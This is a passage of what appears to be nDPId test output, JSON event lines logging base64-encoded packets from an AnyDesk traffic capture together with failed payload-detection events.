MNpzXFZe3OKxgYrOihfo6sSXXqdJrRfzQLoy6WFoooArmkufAoLThmLLGB0xEUAfJGoGedCI8hvmmtvgemujyExL\/7W6XEoNIH9C8Hr\/atm+cYdz16QFNGOmrvmuqT4LE6nvqy7\/FyvP6ukzVUoMPLcd58YXPPlASuxDGdgFM9nGY8h9BRZzfcRBy\/PHjHlvQhniQ0Iv720RCJgLSN4EnlPTGIrBGWwa4PJslcxWXuv99WxAihENaqu+9gJ2NAMmIJ63IfLsMdGsUg+Un3F5MAJ90djMx\/KL8BqNRWk8Eu3pteMLubO0ZzRK9JXOI2Znm8aVkvHDAAhJdlk5XQfUAZ1++c26aKmPJyY0N6NEPoqfIZjeFOp5ZurXmRHQBuZJ2OeUwIyPPjB9cbpxINtlRA9hK0PbUEJ0eBVraFwuzaUKduIDRXPVPcpnU4O0MBjP53Ek9Uhg1Kowo1e4njkIj+T6ifd0M\/OljANCNgb1n\/klLjC6EDioA777ZRy27a0cGsrRSV2PTRQJGX0CwWA9X3ce\/WJxQG7YtAj52Lp6KVyqKJEpoX\/UtDgn\/4Yy3w\/vvUpbM80Sw9v+7f6VjXE39VEGBdmX3Q9gJOF3pW2OuG4qJlNMQe2uuVnOHo+wnRI1yoMHcn7rQiCDmQgujdFspA+hCydZ+5WM+xCkBig402Cg1StqkSXqoFuFIv+rN4dv9x4ROhdR2caleFnVguSz4CtkLkF3jS9heZTqVV6UEg1euzfuOWwlxQuLqtDiW\/ThTRw1sj\/mJMb+8hbdsFiAVqn\/DC+qxYoBFxYdJTlALrTjTBuC9Ab0sWZUSZlVpQUfZHh\/EZvv3tgk+3InmeIjbgz45lvosBP3qtbctrjGLrXl3m8s7SUPrBLpTy\/Yw44jlqfSFYr+2oq\/dOxdUuYjRilEm5eWnBIhM8dnzm5lKatHnP6OBAf6+dkHTKyy1bPGutsvMKqZV2WXXJRtOyWV72UuKakqn+ZYnPn8oWl\/cifBIRAeLLgJiHQcZNRuMVNnXlfDMk8lHsi8idMAe6vTw7xF0wROGla8oAaSGy0OXnmZOt1pHW9y+22XmB8LLRQKA5kfR+KhajeeFLcoCBKBC9TcVbuhMvGeXr3tU\/hS8uFabKF6FspXMmXgaoKeTVXJwUvvSI5ReZzpze3VR6B0r\/tAuPqVHpRByujlshBflfwGUDnj1292ssXaSYatV0pWH8+natw17dTTkU0qT4qav9Ugn6lis4ljeP\/dX2U6M\/GBOihgCIR1deVzthjbZ7cNNKVqvZKV\/1amjjc3qdHPB+UZPBFa7R92KVGHwItOOJ4tJT\/CMYhA5Ffm7kC5hlc8FtZPVDOsMvApjac+lcy\/Ur9kxhvmqoYPXO1PFncOkdoEakxeV9I5\/usbUNdXFo8+cAjaj+09Bi0DVCyW2PnSXPSGn0Mo4dvApmq0T9QlLrIY+pUPBy3Yh61rin2kSvlRovPgfxBIsbazqZP36ctpf\/YDcv2DyxodrrCRqBOrLlsWCCtgqPsLWCWb+O5qRsyeEYZIbQEdds8u0biLcrr2+iQF6Xy5cpm2\/x9uLDvJCso+fWvMukKULT3LiTKOOvUs7O+tmGAu5Qy8RhvGLoTMzLLv0bXyWe5Hm8f+xrDa37+hLL3npWrySeEvTcVqXRPxHw2dMT5bMjQFVapiTcZLIc\/Hi9QYlSAiNmOoL4vF3rLeKxK+b6kZQ\/\/Djq+IxWT1trULW53iU2R070RBDdH0Z\/2JlOs5fNd3mKV43y2QxOZH30FeN9aEdi6vJC78CvEMsRqKSSJA\/aRHoxwhBEqxNz8g3pDEhUD54QcEmLpTaLSe5Fvenc8Y="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1713,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4822} +07825{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1716,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":887482,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgXtAAIAGAADAqAG7wKgBstOUG56PK3jUWcQ8xVAYIBKExAAAFwMDFXlZ4hNO+msWdSvY+d7KQUn8cp6hI9emgbOWREa4RkVtsAwlDH5zH6Bb55cuvLFlPbhx7a8F8VxBX\/9O23Z1VGPOZaha+8JmuIYwTduQbC3KVau+Jyp+Vm6EM3hBMjQdKawB8+U50UzyVJG0vKU3GYckCz843GVCoDAkfa03cQWMYrJlvuIwigXZcv5PhOuecRcyL0U2OFvWh65TfA9K8M3MFW1d\/8qgqFzcxVQoxz05d0EPQTWzoObB\/OjDr0XjJmTpIc1Xzx\/ZI+vXDnM7elzUHLncevi5NuJtIXpiuSF84kEBeZuAXoDj0dTnxnD6uRKW+3tD6jc9bvfjgfDj1XerH69fTQ6CkOTmcPYPkO8phZT3VpWwaWCzxvsTNQyyBAoaN7gHZ\/mOkI1FG9ZbHnttILNqYDxWNzGBTcRQ9cdSOPjUfFAH3zLEHXP6y5YLEv0OmDb734t43lUDbns2Yh0jLsv\/kBUUX\/CLPFI6GxDhsI8gRXg5M5DN62K1Shbd+7yb\/hw7PHVL+FbFudBulbNOjxU6RaJvw\/4JIzooW+KTHN+Jt9j83eGO\/lSWXblG66zSJY6H3IJ9hn\/iRtRHucnsPnnJZIlr2+rwAVP31InONUWLRIiLrMEAysw4q4ap+HDSVzFPetqJLbRKE6JrIYlD6Od5X8urJ5+lPuMuAFGolmiaaikdO\/lXBXmG05xTT01yxM\/w52FT7r6J6nMpZPK66TMH+gXxU\/51Yk\/4zV7JDuMgx05jdBbPI0uy5ImajonGZHdwor7Mieq9UT0Wa17x9bvr5mdEfH8JhbtYfrsogYnMRifw7KDv68e84koxOVJwmnE9R5yFf2Q2KsDDZpUWWAiKmr6So0YmcsFcG7ekqpetbgZewcnfBS7HbvlQr4R5xBUyXvi82pSYrczF3NBAhod\/bHOvped8kuJQ\/BQqhYBhqCZfLcIMPfHc2Kv6L+wiSWsqbPP7vffCX25Wh3ts5\/9TQQUqmfJJm23s+hifiEc70HZNKabCHhUweT\/97NBdd8\/LgEyiya28yuAswtG7RFebTVBB5Sy1gj16sWOutNDxtzPDZs8GEsRnY0CwcFRWiPfJWiSHzogLw2256lr\/P0EieXhF23+SMQi\/5d6m+4Yuv6uY6CkFaxZYFCQl1z\/zTdVXSTsjMcxA15SQw+6qsyUe+1K7XiCnyETLL2c3sV\/MAC6XqKpgI3cWVYbYS81892j6K0XukaXH9ILQmFrsXO0u\/koeR\/wOJrPL2vheJVuuPOwT9JxMDMfLzUe3iyTsyH8QJYFayCV\/qj7kcjmHuwsdgLsDBcko5LKRDO7uEDk7w5iKShActeYBMeWOKTL9atJvnGWdlr1q4831n44LaXYvN3oE8Hdj1AUcGKB2rKji+ytOskWM5ZEPBs2YW5XSwqy+kveXgCjauuheVJMc4kbdRGlrTdu73vzc5hCOn+CRLUulc2B4GbuBml3bBfiG\/h5ON6lFuntBdhOg1SoWHRcxDtKnQoUcpzxZRLmcHqCqMTV\/\/CeuKs7GgHWkFW2H5lkXiwIluAn2dky+gafvpA8pl6gSoYhzl3NTJ7jSwTvuQxWjlqzKm4L\/b0UzMCKYjgZnM4x89OzBNXKVRaF4T082dbu6tt\/dkAVmOUQqBXj+0OuEWB3l7BgdRPeY5Bv1dsKg3bmWnp9tskkp7bY1TLFgyNvjxLQHq\/38ww9XHUYQjisXbOW0a5EVOZw6YEyd0RlJozOT7VVv64jzLCzsgx9+OD87iPsgOlgiIArq7DQzc19zkFvN2Kkfkywz4BUwhqUeT9RaQuVPEjLHhDsbJsUeBXep72PUYUxAVOXFHnSzlFW\/9+gfESwp+148yJAQTO9FtzDJQFX2gFREjkgZp2IC6viJ1v4PKw+ZB8t4HeBOPE\/KlPZFzfVfqBF3ZWFyH9IVdItSYf4joPEFkemfRPLQp\/2mh7+70T4SucLpVy3XjY+pKKdtfL5rF\/PKiVu+emmtmRr81Lh\/EYAAUzEqyC7nRYme4j+A6byyc2YOgUXoGgeSxurbq6b78wDQeFwT9FICQGRauQFSUt2Wm01EK6YoYZ91N334Z2fIGO0jFKLlKLA\/lvo7v6ec1wNcKSKnxiSgr32H5Dy73SEws1NEejAx1qemiczyLfTGJ9YsuTRyC30GdcXqvnGvLMrN5cDyzsXoyvTNbCn6EEa1MZWcqnRvrGj\/AKu6FxAUvfJot6iSjaO2Us6vxyVqwWcxls7lATZ2OBxN7JvRsFsuREKXoSZbiFJwaq974ZoyyPZ\/yHDA5gqaEdS3Ov+SQeKPdBc5sa2wpl+c4OUXWFoW8zPu1Hl2AN4kESPYJ0hrz0qywFtP7x\/C\/SGi5mObV4\/ix9nrVMh5fHCwI3RWahpukxuKaV2uY5kDzMZeyv1E9Lbh\/+3gw1iFLuvo7OxTGmRm4anlFbXys396wexXNUgspNYe6xkI4QXhRPfYR+BKHHanB\/kOaqgv1l+uufA4Uge95y7B9ZZWfGaJSTGwqqCBSqpiUwXO0UFCQ5rpbVJhkQKdqZ\/NKEDY4RfQu4lAD1UOSLCfob0wc3U0OAoolBW\/UHaItYKu5OlOen2LsZwvu\/mcCvK6cBQ9tM4jPVTYJNZdZ7II0Zo5QEgCJVq1jM6+rF7Rd5yJszjN8KR8TZNUjJnL1aUUYzMv3i7Rkb+aUKpPFZSVMWwYbT4Ypmok0SCrPKoi+qT8fc7j0vUyGi7e1H31KjJbCeHs2FrsrNFmG\/JUtbWEvNZloXpRi6f2vt1U+H4aMR29C4vLF2tBZnCAmpK\/zmGCpDUvo4\/J7TbpKVqJtvszvA\/DNYTtVswxNILm2hPQyHW7AamM11sH6HPiJ+jcGbpEBOMgWTS0HiFk7I6WPvka1OO+iAP55VxqPhKp6eOhPz9amSUWWHnU8L\/HfJenNu+9fTb8fs8BqFXEl+8kxjjFJW3m6+1zTL803Z4yyAQeRJViYsdBXCDHAH1XJ0RJHjkRQvUmoCRjuxtNfpZtkJz5RuUlXWOZJkUJthBMWZAOiAjmNsp6Y0Okf4mWlJ3T3Sh9iUgjqrrD6eaq+zHPhowaxN8U39jwan6Tm5pkng9\/Kr6aKB125tDriOQTrOsOF7zMVyauKA725pmqj\/nYArS1SJncN8ATWMel1Ve4n1R5KyFIgrJYJAzGoAbnr5gWd7VlT4f7eEqEDcgZFp6jJ1fJbrNF7gUqgeQgEkA6olx8YgnQh8lw86ysOTaSZtmgPd16asAhKSAXhM7YXtpxMkA+AL6ndL8piMqa\/tJ3jxzrv1s0YHrcm7Q8UG05RDp8Xy6rrFTRG120EkK526RoP67O9WUFC8q8lo3I\/m3BmKCyEFTC5zmvDq4ZgijM70LGCYt30D7tkInCVel1MPcd8C4rc06dTDNiIcvSLcXpk+c0ew3dELMH2Y+xawTSwGQqN9rR42Pui+oHv4yb8u6FHKa6wkykbo0U8O3Yc41Kr55VxLKkEt6NFCs60G3hf45SmNjnpsbwgWy4i8IqInPg6\/5cT603OT+Tu0tdAoY\/Djl4YiaKCo9ws2H8Z7raklzyk4e++kGMATRqir32syKB58ByjFgeWea17HSgGHs5CLMWx9HQpOnlkPLb\/2pnp\/lDHbWw1sl0jylf2EiOpMS6l3ncCWkgXexi87MsF9Qzt5DJQf0SJzGSL4dWLhGFYM4iNNPQwZrFdXxLHOahZCa54CXgK8WIr5hQTeju1JUEEPgtc+m3Kt+0TuX+yOTskX\/Ywiu\/xCk6oS7HRFf5Cw3\/kO2ExCKmIJY8MXSSucbGf4oR5ziO0sBaG3VP3+GgyKg1NP293BvobXNlAZLtUJeg8R27aJuvcYRGeix31vkfahwQttnekse6tvJyjI5zTYKdL2a3v6yPAIBNxNY0VW3s7H9qPtNILs4XEPXHyOkCkq57zKuZKVgFGGKgocQPicP5rdODexjKgVr8i1XIosOuEHc+gjEnuED8oHE3zg2T0Xk0q2WadqYpWg6hhvAYs8CSDvgO6GPWBskzVmC4NPGl3cSo6rcDByNm1saOXiGg9z38vVVrFlDZQJjbtmt0E\/5xf4HRyCq6lySsRYfzwzeEFu0u9UeoedMA6vZ2gWW5eu+HU+mPDyaBEtzwQdfSpHWE40m4ri0i0eXcUj9KSbFrHGlcG303yZXABFNE\/E21KcMRmjE0XyhYTcDMVRrmJri2gNBsvWtviTCB\/Q3m4SrZF28P+GFeecSTsJvH4BV52ZB46ws+1aIU1vtKDCnEoal+\/kifiQPLMXGZDa1JezZ7znDJtNQZJ83a5Xkh\/lsdsofUF5CfYmGFydEG9pHpmT6MbsU6IUjrQ2gTRo5VjphBS9RBo5QdqQZbEf\/DIJ4Z5\/ktXl5LvQoomSJPKNBNsIc6mod\/Uhaw2jNp8RWKbCfRJVSLkXZ1Pvz1zzGbHt+vOMqirig3DN17DWFydnmyqgUtp1LTI9AfvhA4cSvudHJr6BDjZ\/sOUCubERA8xOjMIX4lztaCrsC6wb7UXvRF0FntODNocYewoYXwqtAO27YCTDIsjMtYCIHFsXtkzfNlDxYt0VYNUaf3wKtx\/m78cpEgBRZXJpySpt28JDDlp+Qb178KB8CRgBYJS2h94VO5ZBjMYq13Pg17MbYIYsmJN2XLrbvCbXy6ltBjd5Tw3jX8ROGMXBWlljBcIG245Kz2aGn7U9WHqUkBh8axuy\/dI9w9a+oiYJ2WBBB1zvqBASSD8MSblCTCve5XiGyMp8WD+Qpx6pVSsUivqPOGmjDy2ItG5pklZVzOQ\/h854c5OGvTXjJZKLpYBVXM1JoMcqsiUYgMB3xYPMaLsC3lM8qh47DFrXLiuCVIKrWpLEjxj2KmAcJI8a7MYtrd\/gWKNLD4Rvw\/gLX2X4Je\/zJOI3nMmGH2qz\/L7VrsqhDfzaf\/b7grJPa7I9mLUDnLWIt1KoiYwYS4YDCi+\/n9PTIXTq8kqcTZq05cbZMpqiDrfodu0G4dHfLl3ftebK5uTs8COVN6k9twGgU+o7QsWlI3AypUWAaWWfZvHgQqAzsEDsZYD7i5QoF8ht8wCFSyZbpkAfuMk3bdGl5E7LTTztgqr4NAPVRx0QtEocgk7NRIwVmV9xqn5B4kkCY1l4FgCvVePmQEEEIfnDh4Ff9JMzPTUteoCLmhK2Vj8cXfxs3zZu84Z8d+yy+PuuwsscdQRQiE0CxhHe4kiIgoJN6S5T4xP0W3XXnm3dbdwbUsT1AtD1BaPlHAD9NRua7Yr1hY5mIOoRumU8eLtOoJNoXXxRTY6lXSzPO+Yjv89dW0xUMUNzNznzgAwF4OrsXgudOrO+K61T+wzSvTbiyl7ztvH36RfZqeiJcmyE8KYCAicMtpnSuhp9woIg3mLTS+OA\/ysMADFlfROqbI34BEIeapNwP4Uk31LmXuzJ0IuqeLmPA6kBiL7mfhoUvKDqFcp\/26XGxf0bWzLoMr\/tuIcPaTmgIVxcf+Uq\/skOvvm3Qnsx3T00wvIjvAiY9Ia\/UG1l3z+H0UH78CwcRoXeTme2uJ+vWb6La8arBy+pkkNUBxf0NcoQnp11FNwHKOKjM9T7dPC7lf9vCsbOMqMy3UIstqaHRcLwYH7Ol++6oDDqcuWAvvfESBfyYlO7ZXsPOykAja7mIh731nItXwJeRdTpdhbYSqn0f7K6C5bTkBntIvaXcnJsuF96DXq3ImRr6nnIGOkmi2q3aKYYmwXAFZr\/y4Wk12ZgTgQTDYbLxIV80GP7gjh3ocGhh9e7V1DFqrnkn9PB5ODBLbgIQqzADWch43wd\/shZ8kAvFJrt7uOP\/qr2mKfTi+JE\/F8Dwezjlp0VlOtccUG9E9pPjCMeTfaqv07TtwN3fkILfeSjScFTkNl7K7vIXjHR6naV9dn7\/p4JyKWi5V7KxE2IlXJbXf2BhKxFStk1J6TEpLpef1YgPqxygN3NypAK+o0uU0qHQjLjhIVZZDkFJP3yoEwlfzb\/VEqmWc0j8EM4f5ctRY26piCYvecyfPfMngqGrs23MPzjhv\/tSIyxqoyo9\/dAXqlqgWOdIaMq1GSb9KfGX2HiPs5hwZ2GdtjYM6uWcvnq6jneu4dMz62Br2xe7R2ZKPbiMiaZV3K92U1iVVdRTfE9MaGFJj78kjUtdkgF\/wd7v629MXnWcOqI93gLoCpJvFNltKJ8hl7sO1FsPe0mqYWb1ORAAn4AdVT4jTHSqwuhxPJMl+qsvuDqsoNRs+DS9yQG\/G7VPPfqjDBz4F0VyfwckxA1v0AaLVVEfZo9cI6TNs1KTEpqmfF7KYoJMRxK8\/QUCqvuG+VAu\/En+zo2FEm4VAMVRXWKm7kA\/USOGP31LA70TxZ+lShKFyW8OqtXah8FfIDcUCZ2rglHIXxUmApip8TCWEVCFF999Cjqg5eMLjZcNapnyy8eWWx\/Trr88qHtC\/VWIx6kUYQNh8MPthm3KwJ+H62aMLJkAU5pgKlOmHq9a0kVp4eO+KZH2TJfTjLIkNPtzQmidEgMVqkYDviyJIbZVGXL+HtRC3yjw8NNbBrtaUXWTeuMlM6c1rPzComlvsw8z2BmJg3tI0QQ7nG7S20Gdzh5LC5HH9jbJ7d\/N6F2K1Rc9IGzZMosX7c7+wQ8BJ+dDqHXEe7ajtUZsEiP697kVYxsj8t0Qnfdmw7Xrby49nWh7E4midVQQ2flTdpdZYbHKeVgpiwukrZ047\/PSSm8iWkpG1+wHJ5cK3OCrMe17CMg7YjVEHrrAL4CmZOtIy9+qpDT8MXjnOwXRCMHjAGfF22oznSvFG7K8P3RGtznDsPdQYO\/JhaN13lm6t4E1gaSfIgx+j8d8aspMSotksCoKvfOpJRBbMMAwmKunBuH+FG8rmdwuNwhjhvLWHHOUCb5K1uFysmOZACFQcDDJOTs3h4UY8hWP4CJlSz\/Sic2QkHinGSZtoV40eZXR3VmfqchTG7\/dUQj6etIs9BUqD5Of3SbR3sjH86pNAh4MbRDMMwJmvfvX3NcSIMxfrAeUdBZPRsPp5uKN7bF8lQxu\/zLULTARHXV6QQ3aAfxtxcFQpasjie0kVIYnRDBRhQ5uKpX4RYHy5yfz3FTUBEsvO44mCdyTXxhbbMabL4C7VMgi9nBTZ6t4ZVDRxDvh37ameYFrecJs\/0PLPaDpLUjxPSF759rdtyb2jwnJjhAdm6HDP4o5k5fNy63rpDMRj2Vu\/o3HuKNKIPUyH1wIkAlRL8nXiU6U34+JR86AVb031PCToRr5Rn8IaZwdJbtR8xRgmtr4gCv9I4R3rCXqrUsNiukILxPwhb6M5XVNEZ\/5PBZrmtCyxPuuaiSTiw2r049SxssLb"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1716,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +07848{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1717,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":887511,"pkt_caplen":5554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5554,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgX9AAIAGAADAqAG7wKgBstOUG56PK45SWcQ8xVAYIBKExAAAFwMDFXdZ4hNO+msWdr4nLsAhS8hv2dPvys4ZygOmfoubMvkPDwOwGORNyDRDatNZv\/JwDs4V0X\/EP4YgtzkJgS82B\/GwMTmJI8cfqQIiaN55U6Qhh8PKfdJIb02CYULC0aU0Hq2QGP79pZBS3NpqrC4+a0dQOlZTHxaZSyyLpA54hVwLIWh3H0VP6Wa5Df9c2srCw3ugx6Vqy9ewdrq\/dw8hSbf8wUNZoTEPANS98gJKJyOUqBXKOZCRw3Mcr5aQmQIvrVOBcaCp57WhRULERioe6lOqh+3u2IGHOyXGXHTvu3rokx0Eqao8aNkaHZkLF3a31ipN3\/zZpG285LI0W\/gAU5RC13XxhGS4fNdh+UaoLW4zczBZd13Ydd3fofH2CGCc2qDaB32\/9P\/AFGwyxkw5wxzq2LM6teKJYZrc88QUWsxnge92VXyWtGn21qKM79FHHSXIcAsNWTp1oBbBv4pfQi3WC\/MK6Namu3Fp5mKB0C5Cd0T9jLEegQsFcgOuwEa6ajkhxnrKKQwex4Z4KjwuLvnvVreIbMgiQ8e3CDVzdo4xeGetge5PRTib9gh2i0yTeLcY87L8o8g\/9vgn1Bza8djRkcVqhKwn553eij26CuYWGFkgHdcZ5S5L6u\/pctk\/vS2tXpyKvakb8Hm+B\/z4YJhjpjXV8FAFtH4XEx5aQGzrC6\/00BE8x1NUib2eth6MKGngSzjGfN0Iib+WRycwhgGSnC\/Hde+I2m4XVZEppvThBK9vPPoKLgjMuWLR02KbR0acuRA8mQaQb75YVrjGMBNqUbWB\/cY8bAXcrcUZes7deTuG2T+xfJ\/KzcNCr1kiJMQKVbpGj7i+HbHpFti97Hxnj+FQX\/jWY7KzXOCZLrXOHmMgxAOh2hFMCmc\/xrdZXqGoMTBKh5LtNIcCPgusgdHVJqO1LjqOG63xMMNFhWJVwh3cgv+10qSODyNF0oKOIIoBv0Y3+FKWOP\/eRexWkRDylmt66EwCZipfBRfIGHu1ljBCR0fmfd\/Oo+PI4EoPChjmJglDGb+rBdJUaGuQXUAcNXLDwv7VJ2FZ94IPAOohllo3ZyT3tRBfF1FEC7bzP4a71yMqG83Yil53i9WPq6nTSufI0BHI3yRcSXG9t3A5QIZPOML3SW+PmjU5dfAibOQAu\/k4fyBNzoFnWDm2mwOVyusXeLo5gTwa+vNkT+kDvKtBtFotKYmDUwa301pNPRp\/e86rVLd6dLRxWWiRfhFCv1TXDy\/\/6JXVeiI2unZDreMUoM7PfGNckUy8W8WRBli3stxNDh8HzK1dfUz\/3dJ9NdQzSeP+sDwzwO\/6\/9A\/TtgetYQi\/7xmDjyV7PQqgxqzEnzBJx4N9m4d6MuJC7AAPnmXDNO1+MG3LT64VRuSWmqogGiabXeMTuRbI4sdI4uV2xCxE91ed5tzQNll8y9gt1A3OWNx0Z6+dEJ+j9ozYLEfBeFpEzrnTY6qRQyUFb5xSSvtkayx3j6Utk+\/CKXPiAHkMsrJSJ5EWOAblmY4UTr4AXMh4AcyS23\/5ubB5d8o8K6Mqc7\/IZIV42vo4G5ANiQ\/GKzTH5VFW\/D+Eme6MwnQ2DZz\/n\/Yp8jiZBrT0y+BnUpQYRP+v+YiBpo\/NqtGqmK\/z0p4mBQU6RGK2y8WNnyw9sCwmKPMuAGWTiQkRz4bXuN3dIAuy7FnNqe5SRP\/DMLXP8LntuP0K\/3oV1+nybjBMk6rWE+mCxLkUYriO5Arxtw+71NzHJq5OukcLQphZ1HlOnAM98yGvuGi0zN8E9u5yItthp42ykwnijFpBuUHslnMY31LCi6v0LKgC\/cHmwT5NI\/Lws3RL2kk1\/AcrdvC5ERST4fZuMLkMhKnFZJxBJPFtCWdCaqLRPRHHRaWxMuEO1XJsiibpPQrdyGWjJEzF5cjtQJeY9WKUl3uV4ZZ8PrOmJ1bOTAR\/i+bjB1UaTMxgQWuTTvoQ6CmQQet7zmbRexqxswCNmtMgP6d9qkARZj2+fNuROGnhqYZ0ISwS8H5cS83fj89kYa5TK9B6nom0psICZzJ8zZxp3nB\/CT14tuoaPOrA++MESknREM+ZDGUW1yWCHGOfiZA4QvCRrfX\/c\/2KIMQ3fUX9H36ohGgUA\/UVT+WbDBHr5urWQpSImrIa6i3LbTghZ6X8+7bn9SlTqu9Y2TDyiABSbKLrGO\/Os0Dv0Q83X69tPUc5FxvMDnNahTRB3OXxH98qgr\/izj8mFCVCuwd03U8rWk7Dg2MUYenIjFXxPAqlfQ9B+JCiqqzIJrz0bjtYcnu0mj\/\/ANASFf+4WFT90l4wzD3ptdkeOccRhuaSba8JTPlWt6ILoCJVO2BYftOSj70lx6FKL3dAD\/se0ELksCJDkv4eSSA6x\/9ck3tovhHkQq1MtmZ\/QvIqqScEkqDF5NdLXYEMRtEULcuC7kA3wI1v21VUUhO1ES5Ear7i26FOhCz6ssSDetlXMVgeLwctbLfDurSWPidvAe2VQzCw9mi4SNecjMvUf7xovXEzDUD2xLBHHQkf+kPUBx2KqZB1L1S8E\/djihLnmxXEHjti5mpzaaBqzbdpOql7L\/fsZ+3rRHtVystxK35CVPxXV2kHFXPoT8RNK3jCEz846zhYwCoFGCONIQGTJuqeY2QLgMS9HmQn0AUhurtwIbiF0WBGWVfZe2K0sYmF4gRLNsjV4kyWltrIqf+vFKYCqzDee1ZGHbgwnLIkccoo4EKVniCf6rFOt\/Kt2Al683ALPY89uwnmUSE5UBPJE2hc+IEuNHFCKuBK2ru40FJp\/EPu50lf4lPqOO1sdyqo1KyZqyPQq6KFVaF4m0y3DaJLeQW+52AZf49IeSV8Za5kLb8Ps7ZBH2wFec9obKgWbe2wsNZvVYKU73C+S0nJNfJ8AVSYzC2Qzgt8F3wbcSpRjhSEo0+QYGAPa\/\/NQPRvz5GV4YRuLVJpygG9y4WTOXOVA77t3kfQ1zlJ6usoHiobbiJTu8A8U8hwItT+iXcSa\/kv0z5EhgTifuPasl+hWfp0wCDMJaF0xqY1xO9rRE0C+kQ4Py8JDNOWISgdwnj+i7LZz7ONFNlenHYx4\/apBzRBNGnhXGEoWGhp02tibT+ePmIimJ0mdDI+zv7uhF9sZ0zNBDR\/FOKeg7oFpyE6DKd25jU8Om4Ji7qtR3B+071WGTzLK0sBZnTYAnh3BO+zUJbrjp8tXLhE65fhiYcyFm9BWl97RQyqOh71dsCnHlsB0YUIub3Zvy6YvyCr21c5MJdEkdX6Ix0rzZkpCHMZ124LUtv8b5wjMWh+AgKaix\/Zx4iyF4zQ8WK7OKzy7fYwYgmXKOhpoXgysmNIGffZuDW9ZKRegdq9bSPpsZcXq78syDnqaviCd7s6DbGBTJ7Y3MvLKEf38BG60O9MEcz8mNX+mDOcWnsBwCqb8akmMAXUNByKhXwO4uWHn3jf5YHf0yd2Tth66COpivNKEbkOyQuO917HI4RlrqxKYLEUUAvmTG6QgSYe9JB8UkUElFtBeX99pdfF\/0eWaK26fyEVHr\/0MgpPSw\/4\/xm0qCYrpVBVnX1FpabahXDzhvnQkc9CyUTHhKR3UyeyHkV1+vVQE32o\/kLguXSxj0NJBdjI4zlgQe2GMEG5NVBqgOug6KwuWxX3tvH42ZstzhwJqpY9l4gu\/hYLZlA9\/OdYjJOTUsI0nhIC2PMYF\/jck\/O0zXtIBZjxy36R4FcZEeLFb\/Qr+MxWF76g3qkWxO4YR6zrjx+Nyf3R9\/WPBpKcBH2KYfHTwHb1z\/kntuCeZLmRIGOJKMUB9L4lsNtm8l3\/A9hGk6jCI8+y7aqUUMFA5J4SNU6emclb9JkWfnXg2PV7PM4Ok30UbKMBUTb0F4OlLia3OzoPuYpyRtTykFh9IG9BVRAwsxgN01oHJOmOkxopxe\/yxGqu3gDmCJUAi\/0JqgXl1\/VF7ff5PBuTIbOCw6vRZWLwGDmYTxVGjEfKQmhumTTY6qGjQynHrSqo32FXGwi\/7WKaBemTAb46XwnT4BKAQBQ+Av1AQK7+VoRfOo\/+EjTNxSnJNVmpPgVr0cmf6je5jZp1+O13mgbiXpxUgJiVxMIQEhH2xHulqL1E8R1YZOnScrT\/VE8fwE6PKfrdJ9XhOp8oJe0nEHbylwvhJyRoixAaa0i0K5xr\/hhgJWgBna\/q6PgKzkLd4Gb27rb5kzY7aJwhVgTMka5HpSC4\/wNTorNkgBemDzaMjYWbEsTqK6BvnQseVAXgjIdYCpUmdOM2pG4tXzZUg7CBdlPwoONkZVrGPJ0SI11aDKcRwCaVmRKzBXu1N5TkPZM3ZzfsTP8tuWXhpPcBafYwfUN6XxA9u87IHsipMfjJhg2GHnWef9ZU0Xg7SQrqyskeiWl5eLsp977fk3yiTw+Ji6cQnnoJoUZaP+taeEQq+0dTbUjaMecA5e4W9tST7sLeV3lypxlsmeAVnwJhM6vCKX2hnAtP3fIIzUafBrL8kj3OuB589kCbLJff87dZM0vQfQF0FkNPaFIVv1rjn3J\/4oS7ICKmzZCMbavXEbBlqnW8sUrCG8uEXeOylcdbEnKqZcPl0x31marEfx\/lottb+EoUOmu3zy6j4J3rvNuIC4tbrMkRm8JfN5GCXe8Qukx0PqbovnPy\/kME92e3f0zUNZpci1CivnQJmVqqpztNC3F2FYlJdeW1QyHN\/cHUTpl6qVg8ZNdybbN2nAbRj34E+v4qTVEFcCnhbFg4M5npSJWdSRDzFUd5Qne3AgI\/rznzRtO7dsBN5y7\/21My5oNFmkyylnfDcBMVIMJADeUjdqdgRFzmKf1h8qBQroYxkq+FkfNCM2kM66+gLqtuyJZKsS9TIrAqGSLxVnBs8UwQfgWjwN3QaM0AaKO6RBsNz5xm1U3MfeUYktQLdyAWVMUc\/kVGTrMDDh8YvazD2zUCujAN0k92P6uBVJx1I9ldtZAn6uKAquL9+TWD35ZXaa0ySjC99yvBB3gytGtf0atm\/N+EvgQ8jSKRRzYiQFgEUS629SWc3o6CxFFeYcz\/h6MQ5y4Lxw79ISqFfzRROy+\/OZel\/p+AZKUE3N0vtZ58GqQouLxAJnyzYPdkKFAbn3+K6dY7zgti9DQqcY4Qfzzfq+jgJTQD9GlwDyBvElwUs7AW71TQMEwt4qma1nkQLVkwUXrLDSpcHJvjkc1y+L3pIwlllqCmuGfBMiJ8IGttDwMuampySnK\/G54S63i5EIPSXVAf\/7\/LOF6HQb+UD9Gj9KOZXpuACLV8OmVms6w+\/mEPf3cKWjvLWMJ46UucNq9CM2ryNBO6An\/ldeUb5YPcCBcNy5vlAjEpXITPXh9knv34TWkcXOwWgKsUFODXK4MkyDAEG07JtekIMYI3kSW2DsIYkZUi9UKI\/uN7KentTLgN13YWU+3m\/lNzwaqQEUynIYK7XHplFIeYtMPOxXnoJNx+53511QAnOhc\/Xb3\/LKvXkIO\/OaVBf+fZ+gKcrUlKrhp5sssJVgUrg5MEeY4jOePjGM7PmccpRTgCBQIppfmkDKZxT9r8dGYSgNQ2JZd1vYqrHeqhIPZ1M+dBQdH